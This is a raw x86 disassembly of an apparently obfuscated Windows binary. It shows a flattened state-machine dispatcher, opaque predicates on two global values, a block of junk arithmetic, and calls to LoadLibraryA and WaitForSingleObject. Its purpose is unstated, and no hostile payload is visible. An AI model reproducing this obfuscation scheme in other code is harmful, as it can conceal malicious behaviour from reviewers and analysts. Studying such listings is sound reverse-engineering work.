mov eax, 0xdff7c94d
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
jmp 0x409a20
cmp eax, 0xa178626
jle 0x40420d
cmp eax, 0xd6d3392
jle 0x405ef4
cmp eax, 0xd6d3393
je 0x408f50
cmp eax, 0xe4aa90d
je 0x408f78
cmp eax, 0xfc4f8a3
jne 0x401610
mov eax, dword [ebp - 0x1c]
mov eax, 0x6ee6ce28
jmp 0x401610
cmp eax, 0xd0ee1949
jle 0x404255
cmp eax, 0xd2ff839a
jle 0x405fc1
cmp eax, 0xd2ff839b
je 0x408f85
cmp eax, 0xd4a47f78
je 0x401510
cmp eax, 0xd4c64bc9
jne 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x44eecdf
and eax, 0xfbb11320
or ecx, eax
mov eax, ecx
xor ecx, 0x22100300
xor eax, 0x44eecdf
mov edx, eax
and ecx, 0x26502bcb
and edx, 0xd9afd434
and eax, 1
or edx, ecx
mov esi, edx
xor esi, 0xd9afd434
xor edx, 0x2040298a
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
and edx, 0x786f7dbe
or eax, esi
mov esi, ecx
and esi, 0x87908240
or edx, esi
mov esi, eax
not esi
and eax, 0x786f7dbf
or ecx, esi
and esi, 0x87908240
or eax, esi
not ecx
mov esi, 0x993f6949
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xbbb7922a
and eax, 0x44486dd5
or eax, ecx
mov ecx, eax
xor ecx, 0x40484d55
xor eax, 0x9894920a
and eax, 0x9c94b28a
and ecx, 0x636b4d75
or ecx, eax
xor ecx, 0x636b4d75
setne dl
sete ah
cmp dword [0x45d978], 0xa
mov ch, dl
setl cl
setge al
and ch, al
and cl, ah
xor dl, al
or cl, ch
and dl, ah
xor cl, 1
or cl, al
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ah, dl
xor ah, al
test dl, dl
mov edx, 0x67cf3ae7
cmovne edx, esi
test al, al
not ah
cmovne edx, esi
test ah, 1
mov eax, 0x67cf3ae7
jmp 0x401603
cmp eax, 0x4d8ff7d8
jle 0x404294
cmp eax, 0x50e8b701
jle 0x4060f1
cmp eax, 0x50e8b702
je 0x408f8f
cmp eax, 0x51a080bd
je 0x4090d7
cmp eax, 0x51d757fe
jne 0x401610
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x140], eax
mov eax, 0x5a723d06
jmp 0x401610
cmp eax, 0xaf87529c
jle 0x4042d7
cmp eax, 0xb2534e1f
jle 0x406120
cmp eax, 0xb2534e20
je 0x409112
cmp eax, 0xb30b7fde
je 0x40912b
cmp eax, 0xb4360441
jne 0x401610
mov eax, 0x9335fc37
jmp 0x401610
cmp eax, 0x2fc6b8c7
jle 0x4043ff
cmp eax, 0x30871127
jle 0x40614c
cmp eax, 0x30871128
je 0x4091e5
cmp eax, 0x30f19ba8
je 0x4091ef
cmp eax, 0x3116c2eb
jne 0x401610
cmp byte [ebp - 0x89], 0
mov eax, 0xe1edc6e3
mov ecx, 0x85aea0f2
cmovne eax, ecx
jmp 0x401610
cmp eax, 0xefee2f82
jle 0x406312
cmp eax, 0xefee2f83
je 0x409332
cmp eax, 0xeffc6b1e
je 0x409353
cmp eax, 0xf08f03b7
jne 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x5d9287b8
not eax
mov esi, eax
and edx, ecx
and esi, 0x5d9287b8
and ecx, 0x131e2f10
and eax, 0xece1d0ef
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xb6ec13a1
and esi, 0x4913ec5e
or edx, esi
mov esi, edx
xor esi, 0xe8609008
xor edx, 0x14816be7
mov edi, edx
and edi, 0x131e2f10
and esi, 0xece1d0ef
or esi, edi
mov edi, 0x81cd8cb0
xor eax, esi
mov esi, 0x98820211
not eax
or eax, edx
xor eax, 0xffffffff
sete al
setne dl
cmp dword [0x45d978], 0xa
setl ch
setge ah
mov dh, ch
or al, ah
xor dh, dl
or dl, ch
xor al, 1
mov cl, dh
xor dl, 1
xor cl, ah
or al, dl
and cl, dh
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test dl, 1
mov edx, 0x81cd8cb0
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
jmp 0x409bd5
cmp eax, 0x6e53fd5f
jle 0x406466
cmp eax, 0x6e53fd60
je 0x40944c
cmp eax, 0x6ee6ce28
je 0x409464
cmp eax, 0x71e432ac
jne 0x401610
mov eax, 0x4f739761
jmp 0x401610
cmp eax, 0x827ba8f4
jle 0x40648f
cmp eax, 0x827ba8f5
je 0x40951e
cmp eax, 0x83896df7
je 0x4095c5
cmp eax, 0x839d763f
jne 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0xca904333
mov esi, ecx
mov edi, ecx
or esi, 0x20001040
and edx, 0xea905373
and edi, 0x14030804
and ecx, 0x6d017cf1
or edi, edx
mov edx, eax
and esi, 0xea905373
and edx, 0x16ca488
and eax, 0x92fe830e
or edx, esi
or eax, ecx
xor edx, edi
mov ecx, eax
xor ecx, 0x92fe830e
xor eax, 0x6d017cf1
mov esi, edx
not esi
and edx, 0x34031845
and esi, 0xcbfce7ba
or edx, esi
mov esi, 0x77b3b5fe
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x45d978], 0xa
setge al
mov cl, al
xor cl, ch
or ch, al
xor cl, 1
xor ch, 1
mov edx, ecx
and dl, al
or dl, ch
mov ch, al
or al, ah
xor ch, ah
xor al, 1
or al, ch
xor al, 1
or al, cl
mov ecx, edx
xor al, 1
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x9f977b6
cmovne edx, esi
test al, 1
mov eax, 0x9f977b6
jmp 0x40cfd2
cmp eax, 0x4ff5775
jle 0x4065af
cmp eax, 0x4ff5776
je 0x4095da
cmp eax, 0x5e33cdc
je 0x4097a4
cmp eax, 0x5f878d8
jne 0x401610
mov eax, 0x9f10aa7c
jmp 0x401610
cmp eax, 0xccad4e1f
jle 0x4065dd
cmp eax, 0xccad4e20
je 0x4097ca
cmp eax, 0xccae9c71
je 0x40993b
cmp eax, 0xcd26d4ca
jne 0x401610
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
inc eax
mov dword [ecx], eax
mov eax, 0x25005787
jmp 0x401610
cmp eax, 0x4b0507db
jle 0x40675a
cmp eax, 0x4b0507dc
je 0x409a2a
cmp eax, 0x4b147a48
je 0x409a3d
cmp eax, 0x4b2a902d
jne 0x401610
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xe4]
mov edx, dword [ebp - 0x12c]
mov dword [ecx + eax*4], edx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0xb4]
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x5aab6f4b
and eax, 0xa55490b4
or ecx, eax
mov eax, ecx
xor eax, 0xa2b4f09
xor ecx, 0x80109010
and ecx, 0xd090b052
and eax, 0x2f6f4fad
or eax, ecx
mov ecx, eax
xor ecx, 0xd090b052
xor eax, 0x2f6f4fad
mov edx, ecx
or edx, 0xa9801180
mov esi, eax
or esi, 0x8e026
mov edi, eax
and edi, 0x42230e19
and edx, 0xa988f1a6
and esi, 0xa988f1a6
or edi, edx
mov edx, ecx
and edx, 0x14540040
and ecx, 0xc41e1a69
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x422bee3e
and esi, 0xbdd411c1
or edx, esi
mov esi, eax
and esi, 0x3be1e596
and eax, 1
or esi, ecx
xor esi, 0xc41e1a68
or eax, esi
not eax
or eax, edx
mov ecx, eax
xor ecx, 0x77bd4484
mov edx, eax
not edx
and ecx, eax
or eax, 0x8842bb7b
and edx, 0x22084484
mov esi, eax
and esi, 0xddb5b852
or edx, esi
mov esi, ecx
not esi
and ecx, 0x224a47ad
or eax, esi
and esi, 0xddb5b852
or ecx, esi
not eax
mov esi, 0x89a5e9e2
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x88fc1e55
and ecx, 0x7703e1aa
or eax, ecx
mov ecx, eax
xor ecx, 0xf9405850
xor eax, 0xa8002
and eax, 0x60b8283
and ecx, 0xf9f47d7c
or ecx, eax
xor ecx, 0x60b8283
setne al
sete dl
cmp dword [0x45d978], 0xa
setl ah
setge ch
mov cl, ah
and al, ah
xor ah, dl
and ch, dl
or cl, dl
or al, ch
xor cl, 1
mov edx, eax
or cl, ah
xor dl, 1
mov ah, cl
and al, dl
not ah
xor al, 1
and ah, cl
xor ah, 1
mov ch, ah
or ah, cl
xor ch, cl
xor ah, 1
or ah, ch
mov ch, al
or al, dl
xor ch, dl
xor al, 1
or dl, cl
or al, ch
mov ecx, edx
xor al, ah
xor cl, al
test dl, dl
mov edx, 0x4246659b
cmovne edx, esi
test al, 1
mov eax, 0x4246659b
jmp 0x404a23
cmp eax, 0xa9d87c20
jle 0x40677a
cmp eax, 0xa9d87c21
je 0x409b40
cmp eax, 0xaab08c97
je 0x409bdf
cmp eax, 0xab0775ba
jne 0x401610
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x24]
add eax, 4
mov dword [ebp - 0x170], eax
mov eax, 0x6cc095cd
jmp 0x401610
cmp eax, 0x28ca5f47
jle 0x4067a5
cmp eax, 0x28ca5f48
je 0x409be9
cmp eax, 0x29b1c93a
je 0x409c09
cmp eax, 0x2c437283
jne 0x401610
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xcc]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
mov eax, 0x5a5d6435
jmp 0x401610
cmp eax, 0xe8b565d9
jle 0x4067d0
cmp eax, 0xe8b565da
je 0x409cae
cmp eax, 0xe8cf0e6d
je 0x409cc1
cmp eax, 0xe9efc95e
jne 0x401610
mov eax, dword [ebp - 0xec]
mov ecx, 0xb2534e20
cmp eax, 0xc
mov eax, 0x6ad9bb51
cmovl eax, ecx
jmp 0x401610
cmp eax, 0x679601c5
jle 0x406806
cmp eax, 0x679601c6
je 0x409ccb
cmp eax, 0x67cf3ae7
je 0x409e12
cmp eax, 0x6971597f
jne 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0xc68abb03
and eax, 0x397544fc
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x397544fc
mov edi, esi
and edi, 0xc68abb03
or edx, edi
mov edi, 0x3116c2eb
xor eax, edx
not eax
or eax, esi
mov esi, 0x9e9feb04
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x45d978], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov ah, ch
mov cl, al
xor ah, dl
xor cl, 1
and ah, ch
mov dl, ah
and cl, ah
xor dl, 1
and dl, al
or cl, dl
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0x3116c2eb
cmovne eax, edi
test cl, cl
cmove eax, edi
jmp 0x401610
cmp eax, 0x95a195bc
jle 0x406858
cmp eax, 0x95a195bd
je 0x409fb1
cmp eax, 0x98820211
je 0x409fc1
cmp eax, 0x9905feaf
jne 0x401610
mov eax, 0x1a71ec0a
jmp 0x401610
cmp eax, 0x1780e7db
jle 0x40693e
cmp eax, 0x1780e7dc
je 0x409fcb
cmp eax, 0x1837fb63
je 0x409fd5
cmp eax, 0x188807dc
jne 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
or eax, 1
not edx
and ecx, 0xef69de58
mov esi, edx
and eax, 0x4dd24e05
and esi, 0xb22db1fa
or esi, eax
mov eax, edx
or eax, 0x4dd24e04
and edx, 0x109621a7
and eax, 0x4dd24e05
or ecx, edx
xor eax, esi
mov esi, eax
not esi
and eax, 0xf856822a
and esi, 0x7a97dd5
or eax, esi
mov esi, eax
xor esi, 0xa046002a
xor eax, 0x7a97dd5
mov edx, eax
and edx, 0x5839bfc5
and esi, 0xa7c6403a
or esi, edx
mov edx, ecx
xor edx, 0xa7404018
xor ecx, 0x109621a7
or eax, ecx
and ecx, 0x5839bfc5
and edx, 0xa7c6403a
or edx, ecx
not eax
xor edx, esi
mov esi, 0x5439307e
or eax, edx
mov ecx, eax
not ecx
and eax, 0x258a56a
and ecx, 0xfda75a95
or eax, ecx
xor eax, 0x258a56a
sete dl
setne ah
cmp dword [0x45d978], 0xa
setge cl
setl al
and ah, al
and cl, dl
or cl, ah
mov ah, al
xor al, dl
or ah, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x37bf8089
cmovne eax, esi
test dl, dl
mov edx, 0x37bf8089
jmp 0x408334
cmp eax, 0xda4ebfb0
jle 0x40695e
cmp eax, 0xda4ebfb1
je 0x40a192
cmp eax, 0xdcb31878
je 0x40a1a8
cmp eax, 0xdcb9d950
jne 0x401610
mov eax, dword [ebp - 0x9c]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg edx
neg ebx
inc ebx
neg edi
inc edx
add edx, 0x25
or esi, 0xbf
bswap edx
mov edi, 0x96
rol edx, 0x5a
sbb eax, 0xe5
imul esi
sbb esi, 0x43
dec ebx
not eax
dec edx
dec esi
dec eax
not eax
rol edx, 0x21
mov edx, 0xf2
add edi, 0xb
sub edx, 0xb7
add esi, 0xaa
sbb edi, 0xd
dec eax
dec edx
neg edx
rol edi, 0xf6
dec eax
ror ebx, 0x22
not esi
not edi
dec esi
dec edx
rol edx, 0x37
mov esi, 0xd7
neg edx
rcr esi, 0x80
and edx, 0xbe
inc ebx
rol eax, 0xdd
rcr edi, 0xb6
bswap esi
bswap eax
sbb eax, 0xff
rol ebx, 0x31
imul eax
dec eax
dec edi
add edi, 0x19
sbb eax, 0x30
not edx
not ebx
ror edx, 0x81
imul eax
inc esi
rcr ebx, 0x51
inc edx
imul edi
inc eax
rcl esi, 0xab
bswap esi
rcl ebx, 0xe6
or edx, 0x97
or eax, 0x6c
dec esi
neg esi
inc edi
sbb esi, 0x62
ror edx, 0x15
and esi, 0x3a
rol ebx, 0xd3
rcl eax, 0xf2
not esi
inc edi
sub ebx, 0xd2
inc edi
inc ebx
rcl eax, 0xc4
and ebx, 5
or edx, 0x95
inc edi
rcr ebx, 0xb2
ror edi, 0x36
imul edx
imul edi
mov eax, 0x39
rcr edx, 0x21
imul edx
ror edx, 0x45
and esi, 0x9a
bswap esi
and esi, 0x50
sbb edi, 0xf1
sbb eax, 0xf1
rcr eax, 0xc5
bswap eax
sub esi, 0x28
neg edi
and esi, 0x6c
and esi, 0x3f
neg ebx
not edi
sub ebx, 0x42
rcl ebx, 0xca
add esi, 0x68
rcl edi, 0x35
not edx
not edx
dec esi
rol eax, 0x90
rcl esi, 0xa4
not ebx
neg ebx
not edx
bswap edx
imul edx
imul esi
inc ebx
or eax, 0x22
bswap edi
add esi, 0x5e
not esi
neg esi
add eax, 0x48
bswap edi
imul edx
sub edi, 0x85
or ebx, 0x36
bswap edi
add edx, 0x3e
inc edi
not eax
rcl esi, 0xe3
not edi
rcl esi, 6
add edi, 0x27
and esi, 0x4c
dec edx
ror eax, 0xf2
dec esi
ror eax, 0xc5
bswap edi
imul edi
ror edi, 0x10
and eax, 0x53
add esi, 0x15
add edx, 0x74
rcr eax, 0xc4
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x38], 0
mov eax, 0xd6d3393
jmp 0x401610
cmp eax, 0x56ff3fa1
jle 0x40697e
cmp eax, 0x56ff3fa2
je 0x40a1bd
cmp eax, 0x5759938e
je 0x40a1d0
cmp eax, 0x58eeb188
jne 0x401610
mov eax, dword [ebp - 0x1c0]
add eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xd4]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov ecx, 0x4b0507dc
mov eax, dword [ebp - 0x70]
cmp dword [eax], 0
mov eax, 0xf4ffd339
cmove eax, ecx
jmp 0x401610
cmp eax, 0xba4b6667
jle 0x406ae0
cmp eax, 0xba4b6668
je 0x40a3ab
cmp eax, 0xbab6877c
je 0x40a487
cmp eax, 0xbb770e85
jne 0x401610
mov eax, 0xf8f24beb
jmp 0x401610
cmp eax, 0x353a31b3
jle 0x406b0c
cmp eax, 0x353a31b4
je 0x40a5ca
cmp eax, 0x35c319e8
je 0x40a5e8
cmp eax, 0x362a7ce0
jne 0x401610
cmp byte [ebp - 0x8c], 0
mov eax, 0xdcb9d950
mov ecx, 0xe6b54019
cmovne eax, ecx
jmp 0x401610
cmp eax, 0xf4900a32
jle 0x406c2c
cmp eax, 0xf4900a33
je 0x40a5f2
cmp eax, 0xf4ffd339
je 0x40a70c
cmp eax, 0xf58c38dd
jne 0x401610
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x1dc], eax
mov eax, 0x2e41d07f
jmp 0x401610
cmp eax, 0x7bbcb753
jle 0x406d2d
cmp eax, 0x7bbcb754
je 0x40a7ae
cmp eax, 0x7cca72de
je 0x40a832
cmp eax, 0x7def9b72
jne 0x401610
mov eax, dword [ebp - 0x110]
cmp eax, dword [ebp - 0x114]
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
setl byte [ebp - 0x84]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xb8030690
and eax, 0x3102063
mov edx, ecx
and edx, 0xa8c104
or ecx, 0x20a28500
or esi, edx
and ecx, 0x64e69d08
mov edx, esi
xor edx, 0x98010290
xor esi, 0x44e49908
or eax, ecx
and esi, 0x64e69d08
and edx, 0x98094294
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xb8abc794
and ecx, 0x4754386b
or eax, ecx
mov esi, eax
xor esi, 0xa0cb952b
mov edx, eax
and edx, 0xcb56b733
and esi, eax
not eax
and eax, 0x34a948cc
or edx, eax
mov ecx, edx
mov edi, edx
xor ecx, 0xcb56b733
xor edi, 0x9462dde7
xor edx, 0x30094804
and edi, ecx
or ecx, 1
and edx, 0xba5bfc06
mov eax, edi
not eax
and edi, 0x31158156
and ecx, 0x45a403f9
mov ebx, eax
and ebx, 0xceea7ea9
or ecx, edx
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x31158156
or eax, ebx
and ebx, 0xceea7ea9
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0x239ae62e
and esi, 0xdc6519d1
or eax, esi
mov esi, eax
xor esi, 0x2112300
xor eax, 0x7cae8cfb
mov edx, eax
and edx, 0xfd4e58e5
and esi, 0x2b1a71a
or esi, edx
mov edx, ecx
xor edx, 0xa00318
xor ecx, 0xba5bfc06
or eax, ecx
and ecx, 0xfd4e58e5
and edx, 0x2b1a71a
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x31409f0a
mov esi, eax
or esi, 0x8394091
and ecx, eax
and esi, 0x19395f99
and edx, 0x20408002
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe6c6a066
or eax, esi
and esi, 0x19395f99
or ecx, esi
not eax
mov esi, 0x802b80e1
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xcebf60f5
and eax, 0x31409f0a
or eax, ecx
setne dl
sete al
cmp dword [0x45d978], 0xa
mov ch, dl
setl ah
setge cl
mov dh, ah
and ch, cl
or dl, ah
and dh, al
xor al, ah
and al, ah
or dh, ch
mov ah, dl
xor al, 1
xor cl, dh
xor ah, al
or al, dl
and cl, dh
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xf82c5c24
cmovne ecx, esi
test al, 1
mov eax, 0xf82c5c24
jmp 0x409e04
cmp eax, 0x8998f580
jle 0x406d88
cmp eax, 0x89a5e9e2
je 0x40a83c
cmp eax, 0x8aa04cc5
jne 0x40d360
cmp dword [ebp - 0x1e0], 0
mov eax, 0xe8b565da
mov ecx, 0xe1edc6e3
cmove eax, ecx
jmp 0x401610
cmp eax, 0xf82c5c23
jg 0x406e7d
cmp eax, 0xf5d5432c
je 0x40a882
cmp eax, 0xf731be09
jne 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xed06fbd7
and eax, 0x12f90428
or ecx, eax
xor ecx, 0xed06fbd7
or edx, ecx
mov ecx, edx
mov eax, edx
not ecx
or eax, 0x9760d92e
mov edi, ecx
mov esi, eax
and esi, 0x7e49387b
and edi, 0x960680
or ecx, 1
or edi, esi
mov esi, edx
xor esi, 0x689f26d1
and ecx, 0xcbb71b
and esi, edx
and edx, 0xff3448e4
mov ebx, esi
not ebx
and esi, 0x81b6c784
or ecx, edx
or eax, ebx
and ebx, 0x7e49387b
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0x73e80d2e
and esi, 0x8c17f2d1
or eax, esi
mov esi, eax
xor esi, 0x762ace
xor eax, 0xe488d401
mov edx, eax
and edx, 0x1b09d531
and esi, 0xe4f62ace
or esi, edx
mov edx, ecx
xor edx, 0xc2220a
xor ecx, 0xff3448e4
or eax, ecx
and ecx, 0x1b09d531
and edx, 0xe4f62ace
or edx, ecx
not eax
xor edx, esi
mov esi, 0xf0c364cb
or eax, edx
mov ecx, eax
not ecx
and eax, 0x80883184
mov edx, ecx
and edx, 0x40164400
and ecx, 0x3f618a7b
or eax, edx
xor eax, 0x80883184
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x4caee309
and eax, 0xb3511cf6
or eax, ecx
cmp eax, 0xb3511cf6
sete cl
cmp dword [0x45d978], 0xa
mov edx, ecx
setl al
xor dl, al
or al, cl
xor al, 1
mov ecx, edx
or al, dl
xor al, 1
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x9297986f
cmovne edx, esi
test al, 1
mov eax, 0x9297986f
jmp 0x409bd2
cmp eax, 0xbe7e5340
jg 0x406ea0
cmp eax, 0xbb941883
je 0x40a8ab
cmp eax, 0xbdec8263
jne 0x401610
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
mov eax, dword [eax]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfff5acd4
mov edx, ecx
not edx
and eax, ecx
or ecx, 0xa532b
and edx, 0x1de48404
mov esi, ecx
and esi, 0xe21b79f0
or edx, esi
mov esi, eax
not esi
and eax, 0x1de4860f
or ecx, esi
and esi, 0xe21b79f0
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x1c6a230a
and eax, 0xe395dcf5
or ecx, eax
mov edx, ecx
xor edx, 0xe39f8fde
xor ecx, 0x1c607021
mov eax, ecx
mov esi, edx
or eax, 1
and ecx, 0xfffffffe
and esi, 1
and edx, 0xceb8dbdc
or esi, ecx
mov ecx, eax
and ecx, 0x31472423
or edx, ecx
mov ecx, esi
not ecx
and esi, 0xceb8dbdc
or eax, ecx
and ecx, 0x31472423
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x5947c911
mov esi, eax
or esi, 0x221010e8
and ecx, eax
and esi, 0x2a5711f9
and edx, 0x5100c800
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd5a8ee06
or eax, esi
and esi, 0x2a5711f9
or ecx, esi
not eax
mov esi, 0x8457e90e
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xa6b836ee
and eax, 0x5947c911
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfe98b6f2
and ecx, 0x167490d
or eax, ecx
cmp eax, 0x167490d
setne dl
cmp dword [0x45d978], 0xa
mov eax, edx
mov ecx, edx
setl ah
inc al
and cl, al
xor cl, 1
or cl, al
or al, ah
xor cl, 1
or cl, dl
xor dl, ah
xor cl, ah
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor dl, 1
xor al, 1
and cl, dl
or al, ah
mov ah, dl
xor cl, 1
xor al, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, dl
xor cl, al
xor ah, al
or al, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
test al, 1
mov eax, 0xaab08c97
cmovne eax, esi
test cl, 1
not dl
mov ecx, 0xaab08c97
cmovne eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401610
cmp eax, 0x3b78a49c
jg 0x406ec6
cmp eax, 0x37bf8089
je 0x40a95f
cmp eax, 0x3923189b
jne 0x401610
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xd
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x3b47bbe3
and eax, 0x690a590a
mov edx, ecx
and edx, 0xc4b8441c
or ecx, 0x9421a0b1
or esi, edx
and ecx, 0x9435a2b1
mov edx, esi
xor esi, 0x84200010
xor edx, 0x2400040
or eax, ecx
or esi, 0x140200
and edx, 0x2c00444
and esi, 0x9435a2b1
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x96e1a4f5
and ecx, 0x691e5b0a
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x90d70e1d
and eax, 0x62ca8e61
and ecx, 0x6f28f1e2
or edx, ecx
mov ecx, edx
xor ecx, 0x90d70e1d
xor edx, 0x6c085082
mov esi, ecx
and esi, 0x9d35719e
and edx, 0xfc5e5c83
or eax, esi
mov esi, eax
not esi
and eax, 0x2e48793f
and esi, 0xd1b786c0
or eax, esi
mov esi, ecx
and esi, 0x3a1a37c
and ecx, 1
or esi, edx
xor eax, 0xb37d08a0
xor esi, 0xfc5e5c82
or ecx, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xe3004014
and ecx, 0x942062
mov edx, eax
and edx, 0x10630900
or eax, 0x62424114
or esi, edx
and eax, 0x6e4ad79d
mov edx, esi
xor edx, 0x81000000
xor esi, 0xc4a9789
or ecx, eax
and esi, 0x6e4ad79d
and edx, 0x91210800
or edx, esi
mov esi, 0x91dcc657
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0xf3634914
and eax, 0xc9cb6eb
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x10653e4c
and eax, 0xef9ac1b3
or eax, ecx
mov ecx, eax
xor ecx, 0x453e48
xor eax, 0xe90c0a0
and eax, 0x1eb0c0a4
and ecx, 0xe14f3f5b
or ecx, eax
xor ecx, 0xe14f3f5b
setne dl
sete ah
cmp dword [0x45d978], 0xa
setl ch
setge cl
and dl, ch
and cl, ah
mov al, ch
or ch, ah
or cl, dl
mov dl, ch
xor al, ah
xor cl, 1
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x84429ab4
cmovne ecx, esi
test dl, 1
mov edx, 0x84429ab4
jmp 0x4044e6
cmp eax, 0x9c40665c
jg 0x406ef5
cmp eax, 0x993f6949
je 0x40a969
cmp eax, 0x9b6d660d
jne 0x401610
mov eax, 0x16eb3731
jmp 0x401610
cmp eax, 0x1a71ec09
jg 0x406f23
cmp eax, 0x18d707b4
je 0x40a979
